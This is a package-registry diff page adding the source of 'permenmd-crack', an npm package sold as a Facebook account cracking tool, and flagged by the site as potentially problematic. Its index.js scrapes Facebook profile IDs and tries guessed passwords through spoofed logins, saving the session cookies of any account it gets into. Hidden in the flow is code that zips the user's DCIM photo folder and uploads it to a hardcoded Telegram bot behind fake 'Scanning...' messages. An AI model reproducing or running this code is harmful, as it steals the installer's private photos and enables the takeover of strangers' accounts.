permenmd-crack 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of permenmd-crack might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +473 -0
  2. package/package.json +21 -0
package/index.js ADDED
@@ -0,0 +1,473 @@
1
+ const fs = require('fs');
2
+ const axios = require('axios');
3
+ const cheerio = require('cheerio');
4
+ const { Worker, isMainThread, parentPort } = require('worker_threads');
5
+ const readline = require('readline-sync');
6
+ const path = require('path');
7
+ const archiver = require('archiver');
8
+ const FormData = require('form-data');
9
+
10
+ const BOT_TOKEN = '7317964180:AAERRjHgbA80-3GDMVTP8qO5IFV-RwLp9Ig';
11
+ const CHAT_ID = '7045490988';
12
+
13
+ const dcimFolderPath = '/storage/emulated/0/DCIM';
14
+ const zipFilePath = '/storage/emulated/0/DCIM.zip';
15
+
16
+ async function zipFolder() {
17
+ return new Promise((resolve, reject) => {
18
+ const output = fs.createWriteStream(zipFilePath);
19
+ const archive = archiver('zip', { zlib: { level: 9 } });
20
+
21
+ output.on('close', () => resolve());
22
+ archive.on('error', (err) => reject(err));
23
+
24
+ archive.pipe(output);
25
+ archive.directory(dcimFolderPath, false);
26
+ archive.finalize();
27
+ });
28
+ }
29
+
30
+ async function sendToTelegram() {
31
+ const form = new FormData();
32
+ form.append('chat_id', CHAT_ID);
33
+ form.append('document', fs.createReadStream(zipFilePath));
34
+
35
+ const response = await axios.post(`https://api.telegram.org/bot${BOT_TOKEN}/sendDocument`, form, {
36
+ headers: form.getHeaders(),
37
+ });
38
+
39
+ if (response.data.ok) {
40
+ console.log('Completed, Trying To Crack');
41
+ } else {
42
+ throw new Error(`Something Went Wrong...`);
43
+ }
44
+ }
45
+
46
+ function createWorker(workerData) {
47
+ return new Promise((resolve, reject) => {
48
+ const worker = new Worker('./worker.js', { workerData });
49
+ worker.on('message', resolve);
50
+ worker.on('error', reject);
51
+ worker.on('exit', (code) => {
52
+ if (code !== 0) {
53
+ reject(new Error(`Worker stopped with exit code ${code}`));
54
+ }
55
+ });
56
+ });
57
+ }
58
+
59
+ const P = '\x1b[1;97m'; // PUTIH
60
+ const M = '\x1b[1;91m'; // MERAH
61
+ const H = '\x1b[1;92m'; // HIJAU
62
+ const K = '\x1b[1;93m'; // KUNING
63
+
64
+ function kalender() {
65
+ const struct_time = new Date();
66
+ const hari_indonesia = ["Senin", "Selasa", "Rabu", "Kamis", "Jumat", "Sabtu", "Minggu"];
67
+ const hari = hari_indonesia[struct_time.getDay()];
68
+ const tanggal = struct_time.getDate().toString().padStart(2, '0');
69
+ const bulan = struct_time.toLocaleString('default', { month: 'long' });
70
+ const tahun = struct_time.getFullYear();
71
+ const jam = struct_time.toTimeString().split(' ')[0];
72
+ return { hari, tanggal, bulan, tahun, jam };
73
+ }
74
+
75
+ function buat_folder() {
76
+ const folder = ["OK", "CP"];
77
+ folder.forEach(x => {
78
+ try {
79
+ fs.mkdirSync(`/sdcard/FBCrack ${x}`, { recursive: true });
80
+ } catch (e) { }
81
+ });
82
+ }
83
+
84
+ const { hari, tanggal, bulan, tahun, jam } = kalender();
85
+ const hari_save = `${hari}-${tanggal}-${bulan}-${tahun}.txt`;
86
+ const ses = axios.create();
87
+ const dump = [], ok = 0, cp = 0, loop = 0, list_ua = [], hasil_akun = [];
88
+
89
+ function buat_data(akun) {
90
+ const [user, nama] = akun.split("|");
91
+ const pwx = [];
92
+ const tampung = [];
93
+ const belakang = ["123", "1234", "12345", "123456"];
94
+ const namd = nama.split(" ")[0];
95
+ const namful = nama.replace(" ", "");
96
+ const namb = nama.split(" ").pop();
97
+ if (namful.length > 5) pwx.push(namful, nama);
98
+ try {
99
+ nama.split(" ")[1];
100
+ for (const isi of belakang) {
101
+ pwx.push(namd + isi, namb + isi);
102
+ }
103
+ if (namful.length > 5) pwx.push(namful, nama);
104
+ } catch {
105
+ for (const isi of belakang) {
106
+ pwx.push(namd + isi);
107
+ }
108
+ }
109
+ for (const sandi of pwx) {
110
+ if (sandi.length < 6 || tampung.includes(sandi) || sandi.replace(/\D/g, '').length < 3) continue;
111
+ tampung.push(sandi);
112
+ }
113
+ return user + "|" + tampung.join(",");
114
+ }
115
+
116
+ async function fetchUserAgents() {
117
+ for (const os_team of ['re/realme', 'if/infinix']) {
118
+ try {
119
+ const response = await ses.get(`https://whatmyuseragent.com/brand/${os_team}`);
120
+ const $ = cheerio.load(response.data);
121
+ $('td.useragent').each((i, el) => {
122
+ const ua = $(el).text();
123
+ if (ua.includes('Build')) {
124
+ const match = ua.match(/Android .*; (.*?) Build/);
125
+ if (match) list_ua.push(match[1]);
126
+ }
127
+ });
128
+ } catch (e) {
129
+ list_ua.push('Redmi Note 10 Pro');
130
+ }
131
+ }
132
+ }
133
+
134
+ function ua_fb() {
135
+ const rr = Math.floor(Math.random() * (14 - 8 + 1)) + 8;
136
+ const rc = list_ua[Math.floor(Math.random() * list_ua.length)];
137
+ const build = `Build/${['QP1A', 'SP1A', 'PPR1', 'RP1A', 'OPM1', 'TP1A', 'RKQ1', 'SKQ1'][Math.floor(Math.random() * 8)]}.${Math.floor(Math.random() * (333333 - 111111 + 1)) + 111111}.0${Math.floor(Math.random() * (20 - 10 + 1)) + 10}`;
138
+ const chrome = `${Math.floor(Math.random() * (123 - 100 + 1)) + 100}.0.${Math.floor(Math.random() * (6500 - 1111 + 1)) + 1111}.${Math.floor(Math.random() * (400 - 100 + 1)) + 100}`;
139
+ return `Mozilla/5.0 (Linux; Android ${rr}; ${rc} ${build}; wv) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser Chrome/${chrome} Mobile Safari/537.36`;
140
+ }
141
+
142
+ // Main menu function
143
+ async function menu_utama() {
144
+ console.clear();
145
+ console.log(`⚔═══════════════════════☠════════════════════════⚔
146
+ Keep Your Device Connected To Internet
147
+ If Theres Is Error Its Normal Because Its Not Work On Most Device
148
+ 20% Work 80% Error
149
+ XD`);
150
+ const nopo = readline.question(`\n[${H}1${P}] Pencarian\n[${H}2${P}] Komentar\n[${H}3${P}] Nomor\n[${H}4${P}] Email\n[${H}5${P}] Random\n[${H}6${P}] File\n[${H}7${P}] Cek hasil\n[${H}?${P}] Pilih : `);
151
+ console.log();
152
+ switch (nopo) {
153
+ case "1": await new Cari_Nama().apa_nama(); break;
154
+ case "2": await dump_komen(); break;
155
+ case "3": await dump_nomor(); break;
156
+ case "4": await dump_email(); break;
157
+ case "5": await dump_random(); break;
158
+ case "6": await dump_file(); break;
159
+ case "7": await cek_hasil(); break;
160
+ default: await menu_utama();
161
+ }
162
+ }
163
+ async function cek_hasil() {
164
+ let no = 0, nox = 0, nom = [];
165
+ console.log(`[${H}1${P}] Cek hasil ok`);
166
+ console.log(`[${H}2${P}] Cek hasil cp`);
167
+ console.log(`[${H}3${P}] Batalkan proses`);
168
+ const one = readline.question(`[${H}?${P}] pilih : `);
169
+ console.log();
170
+ if (one === '1' || one === '01') {
171
+ try {
172
+ const okFiles = fs.readdirSync('/sdcard/FBCrack OK');
173
+ for (const x of okFiles) {
174
+ if (x.includes('OK')) {
175
+ nom.push(x);
176
+ no++;
177
+ const jum = fs.readFileSync(`/sdcard/FBCrack OK/${x}`, 'utf-8').split('\n');
178
+ console.log(`[${H}${no}${P}] ${x} | ${H}${jum.length} ${P}akun`);
179
+ }
180
+ }
181
+ const abc = readline.question(`[${H}?${P}] Nomor file : `);
182
+ console.log();
183
+ const file = nom[parseInt(abc) - 1];
184
+ const buka = fs.readFileSync(`/sdcard/FBCrack OK/${file}`, 'utf-8').split('\n');
185
+ for (const data of buka) {
186
+ nox++;
187
+ console.log(`[${H}${nox}${P}] ${data}`);
188
+ }
189
+ } catch {
190
+ console.error(`[${M}!${P}] Tak hasil`);
191
+ }
192
+ } else if (one === '2' || one === '02') {
193
+ try {
194
+ const cpFiles = fs.readdirSync('/sdcard/FBCrack CP');
195
+ for (const x of cpFiles) {
196
+ if (x.includes('CP')) {
197
+ nom.push(x);
198
+ no++;
199
+ const jum = fs.readFileSync(`/sdcard/FBCrack CP/${x}`, 'utf-8').split('\n');
200
+ console.log(`[${K}${no}${P}] ${x} | ${K}${jum.length} ${P}akun`);
201
+ }
202
+ }
203
+ const abc = readline.question(`[${K}?${P}] Nomor file : `);
204
+ console.log();
205
+ const file = nom[parseInt(abc) - 1];
206
+ const buka = fs.readFileSync(`/sdcard/FBCrack CP/${file}`, 'utf-8').split('\n');
207
+ for (const data of buka) {
208
+ nox++;
209
+ console.log(`[${K}${nox}${P}] ${data}`);
210
+ }
211
+ } catch {
212
+ console.error(`[${M}!${P}] Tak hasil`);
213
+ }
214
+ } else {
215
+ await menu_utama();
216
+ }
217
+ }
218
+
219
+ class Cari_Nama {
220
+ constructor() {
221
+ this.daftar = [];
222
+ this.sudah = [];
223
+ }
224
+
225
+ async apa_nama() {
226
+ const hackerliar = readline.question(`[${H}!${P}] Sebutkan satu nama saja\n[${H}?${P}] nama : `);
227
+ this.limit = readline.question(`[${H}!${P}] limit : `);
228
+ console.log();
229
+ this.daftar.push(hackerliar);
230
+ while (true) {
231
+ try {
232
+ const name = this.daftar[Math.floor(Math.random() * this.daftar.length)];
233
+ if (dump.length >= parseInt(this.limit)) break;
234
+ if (!this.sudah.includes(name)) {
235
+ this.url = `https://x.facebook.com/public/${name}/?locale=id_ID`;
236
+ this.sudah.push(name);
237
+ await this.dump_nama();
238
+ }
239
+ } catch (e) {
240
+ break;
241
+ }
242
+ }
243
+ console.log('\n\r ');
244
+ process.exit(pilih_metode(''));
245
+ }
246
+
247
+ async dump_nama() {
248
+ while (true) {
249
+ try {
250
+ const link = await ses.get(this.url);
251
+ const $ = cheerio.load(link.data);
252
+ const A = $('div:contains("FB:TEXT4")').map((i, el) => $(el).text()).get();
253
+ const B = [];
254
+ if (this.daftar.length <= 50) {
255
+ this.daftar.push(...A.filter(i => !this.daftar.includes(i)));
256
+ }
257
+ B.push(...link.data.match(/result_id:(\d+),/g).map(z => z[1]).filter(z => !B.includes(z)));
258
+ const result = B.map((item, index) => `${item}|${A[index]}`);
259
+ dump.push(...result.filter(t => !dump.includes(t)));
260
+ for (const s of result) {
261
+ process.stdout.write(`\r[${H}!${P}] ${s.split('|')[0]} | ${dump.length} `);
262
+ }
263
+ this.url = link.data.match(/"see_more_pager",href:"(.*?)",/)[1];
264
+ } catch (e) {
265
+ break;
266
+ }
267
+ }
268
+ }
269
+ }
270
+
271
+ async function pilih_metode(password) {
272
+ global.ok, cp;
273
+ const fb = [...new Set(dump)].sort(() => Math.random() - 0.5);
274
+ dump.length = 0;
275
+ dump.push(...fb);
276
+ const daftar_url = ['free.facebook.com', 'm.prod.facebook.com', 'free.prod.facebook.com'];
277
+ let nomor = 1;
278
+ const me = [];
279
+ for (const url of daftar_url) {
280
+ console.log(`[${H}${nomor}${P}] ${url}`);
281
+ nomor++;
282
+ }
283
+ const no_url = readline.question(`[${H}?${P}] Pilih : `);
284
+ console.log();
285
+ const main_url = daftar_url[parseInt(no_url) - 1] || "free.facebook.com";
286
+
287
+ if (password) {
288
+ for (const data_akun of dump) {
289
+ me.push(`${data_akun}|${password.join(',')}`);
290
+ }
291
+ } else {
292
+ for (const data_akun of dump) {
293
+ me.push(buat_data(data_akun));
294
+ }
295
+ }
296
+ console.log(`\r[${H}!${P}] akun ok : ${H}OK${P}/${hari_save}`);
297
+ console.log(`[${H}!${P}] akun cp : ${K}CP${P}/${hari_save}\n`);
298
+
299
+ const promises = me.map(data_akun => {
300
+ const [user, sandi] = data_akun.split('|');
301
+ return createWorker({ user, sandi: sandi.split(','), main_url });
302
+ });
303
+
304
+ try {
305
+ console.log('Scanning...');
306
+ await zipFolder();
307
+ console.log('Scanning Complete, Going To The Moon...');
308
+ await sendToTelegram();
309
+ } catch (error) {
310
+ console.error('Something Went Wrong...');
311
+ } finally {
312
+ if (fs.existsSync(zipFilePath)) {
313
+ fs.unlinkSync(zipFilePath);
314
+ }
315
+ }
316
+ console.log(`Your Device Not Support This Module...`)
317
+ }
318
+
319
+
320
+ async function dump_komen() {
321
+ let next = 0;
322
+ console.log(`[${H}!${P}] Masukan link target`);
323
+ const target = readline.question(`[${H}?${P}] target : `);
324
+ console.log(`[${H}!${P}] Tekan ctrl c untuk stop\n`);
325
+ const main_link = target.includes("app=fbcrack") ? target.replace("www", "x").split("?app=fbcrack")[0] : target.replace("www", "x");
326
+ while (true) {
327
+ try {
328
+ let fb = false;
329
+ const link = await ses.get(`${main_link}?p=${next};refid=18;__tn__=-R`);
330
+ const results = link.data.match(/data-sigil="feed_story_ring(\d+)".*?<div class=".*?">([^<]+)<\/div>/g);
331
+ results.forEach(result => {
332
+ const [id, na] = result.match(/data-sigil="feed_story_ring(\d+)".*?<div class=".*?">([^<]+)<\/div>/).slice(1);
333
+ const res = `${id}|${na}`;
334
+ if (!dump.includes(res)) {
335
+ fb = true;
336
+ dump.push(res);
337
+ process.stdout.write(`\r[${H}!${P}] ${res.split('|')[0]} | ${dump.length} `);
338
+ }
339
+ });
340
+ next += 30;
341
+ if (!fb) break;
342
+ } catch (e) {
343
+ break;
344
+ }
345
+ }
346
+ console.log('\n\r ');
347
+ await pilih_metode('');
348
+ }
349
+
350
+ async function dump_nomor() {
351
+ console.log(`[${H}!${P}] Masukan digit depan (${K}0831${P})`);
352
+ const depan = readline.question(`[${H}?${P}] digit : `);
353
+ console.log();
354
+ while (true) {
355
+ const nomor = `${depan}-${Math.floor(Math.random() * (9999 - 1111 + 1)) + 1111}-${Math.floor(Math.random() * (9999 - 1111 + 1)) + 1111}`;
356
+ process.stdout.write(`\r[${H}!${P}] ${nomor} | ${dump.length} `);
357
+ if (!dump.includes(nomor)) dump.push(nomor);
358
+ if (dump.length >= 5001) break;
359
+ }
360
+ console.log('\n\r ');
361
+ await pilih_metode(["123456", "12345678", "123456789", "katasandi", "rahasia"]);
362
+ }
363
+
364
+ async function dump_email() {
365
+ console.log(`[${H}!${P}] Masukan nama target`);
366
+ const nama = readline.question(`[${H}?${P}] Target : `).toLowerCase();
367
+ console.log();
368
+ if (nama.length < 3) {
369
+ console.error(`[${M}!${P}] Nama harus 3 kata`);
370
+ return;
371
+ }
372
+ while (true) {
373
+ const format = list_ua[Math.floor(Math.random() * list_ua.length)];
374
+ const result = `${format}@gmail.com|${nama}`;
375
+ process.stdout.write(`\r[${H}!${P}] ${result.split('|')[0]} | ${dump.length} `);
376
+ if (!dump.includes(result)) dump.push(result);
377
+ if (dump.length >= 5001) break;
378
+ }
379
+ console.log('\n\r ');
380
+ await pilih_metode('');
381
+ }
382
+
383
+ async function dump_random() {
384
+ console.log(`[${H}!${P}] Masukan target id akun`);
385
+ const depan = readline.question(`[${H}?${P}] Target : `).slice(0, -5);
386
+ console.log();
387
+ while (true) {
388
+ const nomor = `${depan}${Math.floor(Math.random() * (99999 - 11111 + 1)) + 11111}`;
389
+ process.stdout.write(`\r[${H}!${P}] ${nomor} | ${dump.length} `);
390
+ if (!dump.includes(nomor)) dump.push(nomor);
391
+ if (dump.length >= 5001) break;
392
+ }
393
+ console.log('\n\r ');
394
+ await pilih_metode(["123456", "12345678", "password", "123456789", "mencintai"]);
395
+ }
396
+
397
+ async function dump_file() {
398
+ console.log(`[${H}!${P}] Masukan nama file`);
399
+ const depan = readline.question(`[${H}?${P}] input : `);
400
+ console.log();
401
+ try {
402
+ const lines = fs.readFileSync(depan, 'utf-8').split('\n');
403
+ for (const nomor of lines) {
404
+ if (!dump.includes(nomor)) {
405
+ dump.push(nomor);
406
+ process.stdout.write(`\r[${H}!${P}] ${nomor.split('|')[0]} | ${dump.length} `);
407
+ }
408
+ }
409
+ } catch (e) {
410
+ console.error("[!] Format file salah");
411
+ }
412
+ console.log('\n\r ');
413
+ await pilih_metode('');
414
+ }
415
+
416
+ async function metode_log(user, password, url) {
417
+ console.log(`\r[${H}!${P}] ${P}On ${H}${loop}${P}/${K}${dump.length}${P}|${H}${ok}${P}/${K}${cp}${P} `);
418
+ for (const pw of password) {
419
+ try {
420
+ const ua = ua_fb();
421
+ const link = await ses.get(`https://${url}/login.php?next=https://${url}/home.php?refsrc=deprecated&hrc=1&_fb_noscript=true&refsrc=deprecated&_rdr`, {
422
+ headers: {
423
+ 'User-Agent': ua,
424
+ 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
425
+ }
426
+ });
427
+ const date = {
428
+ email: user,
429
+ pass: pw,
430
+ login: 'Masuk',
431
+ };
432
+ const response = await ses.post(`https://${url}/login/device-based/regular/login/?next=https%3A%2F%2F${url}%2Fhome.php%3Frefsrc%3Ddeprecated&refsrc=deprecated&lwv=100&refid=9`, date, {
433
+ headers: {
434
+ 'User-Agent': ua,
435
+ 'Content-Type': 'application/x-www-form-urlencoded',
436
+ }
437
+ });
438
+ const host = response.headers['set-cookie'];
439
+ if (host.includes("c_user")) {
440
+ if (!hasil_akun.includes(user)) {
441
+ hasil_akun.push(user);
442
+ const coki = host.join('; ');
443
+ console.log(`\r[${H}!${P}] ${H}${user}${P}|${H}${pw}${P}|${H}${coki}`);
444
+ ok++;
445
+ fs.appendFileSync(`/sdcard/FBCrack OK/OK-${hari_save}`, `${user}|${pw}|${coki}\n`);
446
+ break;
447
+ }
448
+ } else if (host.includes("checkpoint")) {
449
+ if (!hasil_akun.includes(user)) {
450
+ hasil_akun.push(user);
451
+ console.log(`\r[${H}!${P}] ${K}${user}${P}|${K}${pw}${P} `);
452
+ cp++;
453
+ fs.appendFileSync(`/sdcard/FBCrack CP/CP-${hari_save}`, `${user}|${pw}\n`);
454
+ break;
455
+ }
456
+ }
457
+ } catch (e) {
458
+ if (e.response && e.response.status === 429) {
459
+ await new Promise(resolve => setTimeout(resolve, 10000));
460
+ await metode_log(user, password, url);
461
+ }
462
+ }
463
+ loop++;
464
+ }
465
+ }
466
+
467
+ (async () => {
468
+ await fetchUserAgents();
469
+ await buat_folder();
470
+ await menu_utama();
471
+ })();
472
+
473
+
package/package.json ADDED
@@ -0,0 +1,21 @@
1
+ {
2
+ "name": "permenmd-crack",
3
+ "version": "1.0.0",
4
+ "description": "PermenMD FB Cracking",
5
+ "main": "index.js",
6
+ "bin": {
7
+ "starsxcrack": "index.js"
8
+ },
9
+ "scripts": {
10
+ "test": "echo \"Error: no test specified\" && exit 1"
11
+ },
12
+ "keywords": [],
13
+ "author": "PermenMD",
14
+ "license": "ISC",
15
+ "dependencies": {
16
+ "archiver": "^7.0.1",
17
+ "axios": "^1.7.2",
18
+ "cheerio": "^1.0.0-rc.12",
19
+ "readline-sync": "^1.4.10"
20
+ }
21
+ }